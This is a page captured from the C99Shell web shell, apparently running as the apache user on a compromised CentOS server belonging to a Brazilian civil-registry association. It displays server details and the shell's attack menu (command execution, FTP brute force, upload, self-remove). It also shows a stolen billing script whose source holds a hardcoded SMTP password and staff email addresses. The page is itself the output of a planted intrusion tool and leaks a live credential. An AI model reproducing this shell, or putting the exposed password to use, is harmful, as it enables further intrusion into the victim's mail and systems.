!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/boletos/   drwxr-xr-x
Free 9.42 GB of 93.48 GB (10.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     gerar_boletos_pdf.php (5.79 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?header('Content-Type: text/html; charset=iso-8859-1');?>
<?php
include("../../config/config.php");
include(
INCLUDES "conexaoBD.php");
include(
INCLUDES "sentencas_sql.php");
include(
INCLUDES "funcoes_uteis.php");
include(
INCLUDES "valida_usuario.inc.php");
include(
"boletos_class.php");
require 
__DIR__ '/vendor/autoload.php';
use 
mikehaertl\wkhtmlto\Pdf;

$urlPhpMailer dirname(__FILE__) . "/phpmailer/PHPMailer.php";
require_once(
$urlPhpMailer);

function 
clean($str)
{
    
$trimmed trim($str);
    return 
urlencode($trimmed);
}

//Funções
function EnviaEmailOficio($assunto$texto$email_destino$email_destino2$anexo)
{    
    
//$email_destino = "mira@mirasistemas.com.br";            
    
    
$corpo_email "<html>
                            <head>
                                <title>
$assunto</title>
                                <style type=\"text/css\">
                                    body {
                                        font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
                                        font-size: 12px;
                                        text-align: justify;
                                        width: 640px;
                                        max-width: 640px;
                                        margin: auto; 
                                    }
                                </style>
                            </head>
                            <body>" 
                                    
stripslashes($texto) .
                                
"
                            </body>
                        </html>"
;          

    
$mail = new PHPMailer;
    
$mail->From 'contato@arpenpr.org.br';
    
$mail->FromName 'Contato - IRPEN';    
    
$mail->IsSMTP();                                      // Set mailer to use SMTP
    
$mail->Host 'smtp.arpenpr.org.br';
    
$mail->SMTPAuth true;                                    
    
$mail->Username "smtp@arpenpr.org.br";
    
$mail->Password "MydbRokoIrpE1$";
    
$mail->IsHTML(true);   
    
$mail->Subject $assunto;
    
$mail->AddAddress($email_destino);
    
    if(
$email_destino2)
       
$mail->AddAddress($email_destino2);
    
    
$mail->Body $corpo_email;
    
$mail->AddAttachment($anexo);
    
//$mail->AddBCC("mira@mirasistemas.com.br");         
    
$rs $mail->Send();
    return 
$rs;

}

$assunto "MENSALIDADE IRPEN - OUT/2022";

$sql "SELECT SVB_RowID, CON_CPF, CON_Descricao,CID_Descricao, OFI_Endereco, OFI_Cep, OFI_DDD, 
        OFI_Fone, DATE_FORMAT(SVB_DataVencimento, '%d/%m/%Y') AS SVB_DataVencimento, SVB_Valor,
        CON_Email, CON_Email2, OFI_RowID, CON_RowID, SVB_NossoNumeroWS, OFI_Descricao, OFI_CNPJ, SVB_RowID
        FROM irp_servicos_mensalidades
        INNER JOIN irp_servicos_boletos ON SRM_RowID = SVB_Mensalidade_DR
        INNER JOIN contatos ON CON_Oficios_DR = SRM_Oficio_DR
        INNER JOIN oficios ON OFI_RowID = SRM_Oficio_DR
        INNER JOIN cidades ON CID_RowID = OFI_Cidades_DR
        WHERE CON_AtivoSN = 'S'
        AND SVB_EntradaConfirmadaRegistroSN = 'S' 
        AND SVB_BoletoRegistradoSN = 'S'
        and DATE_FORMAT(SVB_DataVencimento, '%d/%m/%Y') = '10/11/2022'
        AND SVB_PagoSN = 'N' AND SVB_EmailEnviado <> 1 limit 1"
;

$rsOfi  $conexao->query($sql);

while(
$email_oficio $rsOfi->fetch_array())   
{           
    
$idx            $email_oficio["SVB_RowID"];
    
$cod_oficio     $email_oficio["OFI_RowID"]; 
    
$cod_contato    $email_oficio["CON_RowID"];  
    
$email_contato  'oscar@roko.com.br';//$email_oficio["CON_Email"];
    
$email_contato2 'oscar@roko.com.br';//$email_oficio["CON_Email2"];
    
$codBoleto      $email_oficio["SVB_RowID"];
    
$dtVencimento   $email_oficio["SVB_DataVencimento"];
    
$valor          $email_oficio["SVB_Valor"];
    
$nossoNumero    $email_oficio["SVB_NossoNumeroWS"];
    
$oficio         $email_oficio["OFI_Descricao"];
    
$endereco       $email_oficio["OFI_Endereco"];
    
$cep            $email_oficio["OFI_Cep"];
    
$cidade         $email_oficio["CID_Descricao"];
    
$cnpj           $email_oficio["OFI_CNPJ"];

    
$texto "<p>Prezados Registradores Civis Paranaenses,<br />
    <br />
    O XXVIII Congresso Nacional de Registro Civil  - Conarci2022 -  será realizado nos dias 13, 14 e 15 de outubro de 2022, </p>
    em São Paulo, capital, com público presencial e transmissão on-line para participantes de todo o país.</p>
    </p>
    </p>
    </p>
    Confira a programação completa em  https://www.conarci2022.com.br/#/ </p>
    </p>
    Diretoria IRPEN.</p>
    "
;

    
$url "http://arpenpr.org.br/admin/boletos/gerar.php?data_venc=$dtVencimento&valor=$valor&nosso_numero=$nossoNumero&nome=" clean($oficio) . "&endereco=" clean($endereco) . "&cep=$cep&cidade="clean($cidade) . "&CNPJCPFSacado=$cnpj&texto=" clean($assunto);

    
$file_name __DIR__ ."\pdffiles\boleto_" $nossoNumero;

    if(
file_put_contents$file_name ".html",file_get_contents($url))) {         

        
$pdf = new Pdf($file_name ".html");
        if (!
$pdf->saveAs($file_name ".pdf")) {
            
$error $pdf->getError();
            echo 
$error;
            
// ... handle error here
        
}                
        else
        {
            
$ret null;
            
//$ret = EnviaEmailOficio($assunto, $texto, $email_contato, $email_contato2, $file_name . ".pdf");                                
            
$ret 1;
            if(
$ret == 1)
            {
                
$sqlz "UPDATE irp_servicos_boletos SET SVB_EmailEnviado = 0 WHERE SVB_RowID = $idx";
                
$conexao->query($sqlz);
                
$conexao->commit();
            }
            else
            {
                echo 
"Erro eo enviar Email... " $email_contato;
            }
        }

    } 
    else { 
        echo 
"File downloading failed."
    }    


    
//die();
    
sleep(1);        

}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--